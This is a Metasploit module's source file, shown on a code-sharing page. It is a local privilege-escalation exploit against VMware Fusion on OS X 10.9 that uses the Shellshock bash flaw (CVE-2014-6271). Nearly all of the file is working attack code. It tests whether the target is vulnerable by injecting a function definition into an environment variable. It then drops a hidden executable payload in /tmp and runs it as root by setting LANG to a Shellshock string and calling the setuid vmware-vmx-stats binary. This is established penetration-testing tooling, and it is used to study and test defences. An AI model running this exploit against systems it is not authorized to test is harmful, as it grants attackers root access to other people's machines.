Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
19611 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
19
'Description' => %q{
20
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
21
handles external environment variables. This module targets the VMWare Fusion
22
application, allowing an unprivileged local user to get root access.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Stephane Chazelas', # discovered the bash bug
27
'juken', # discovered the VMWare priv esc
28
'joev', # msf module
29
'mubix' # vmware-vmx-stats
30
],
31
'References' => [
32
[ 'CVE', '2014-6271' ],
33
[ 'CWE', '94' ],
34
[ 'OSVDB', '112004' ],
35
[ 'EDB', '34765' ]
36
],
37
'Platform' => 'osx',
38
'Arch' => [ ARCH_X64 ],
39
'SessionTypes' => [ 'shell', 'meterpreter' ],
40
'Targets' => [
41
[
42
'Mac OS X 10.9 Mavericks x64 (Native Payload)',
43
{
44
'Platform' => 'osx',
45
'Arch' => ARCH_X64
46
}
47
]
48
],
49
'DefaultTarget' => 0,
50
'DisclosureDate' => '2014-09-24',
51
'Notes' => {
52
'AKA' => ['Shellshock'],
53
'Stability' => UNKNOWN_STABILITY,
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
60
register_options [
61
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
62
]
63
register_advanced_options [
64
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
65
]
66
end
67
68
def base_dir
69
datastore['WritableDir'].to_s
70
end
71
72
def upload(path, data)
73
print_status "Writing '#{path}' (#{data.size} bytes) ..."
74
write_file path, data
75
register_file_for_cleanup path
76
end
77
78
def check
79
check_str = Rex::Text.rand_text_alphanumeric(5)
80
# ensure they are vulnerable to bash env variable bug
81
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
82
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
83
84
CheckCode::Vulnerable
85
else
86
CheckCode::Safe
87
end
88
end
89
90
def exploit
91
if is_root?
92
fail_with Failure::BadConfig, 'Session already has root privileges'
93
end
94
95
if check != CheckCode::Vulnerable
96
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
97
end
98
99
unless writable? base_dir
100
fail_with Failure::BadConfig, "#{base_dir} is not writable"
101
end
102
103
payload_file = "#{base_dir}/.#{Rex::Text::rand_text_alpha_lower(8..12)}"
104
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
105
upload payload_file, exe
106
cmd_exec "chmod +x #{payload_file}"
107
108
print_status 'Running VMWare services...'
109
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
110
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
111
end
112
end
113
114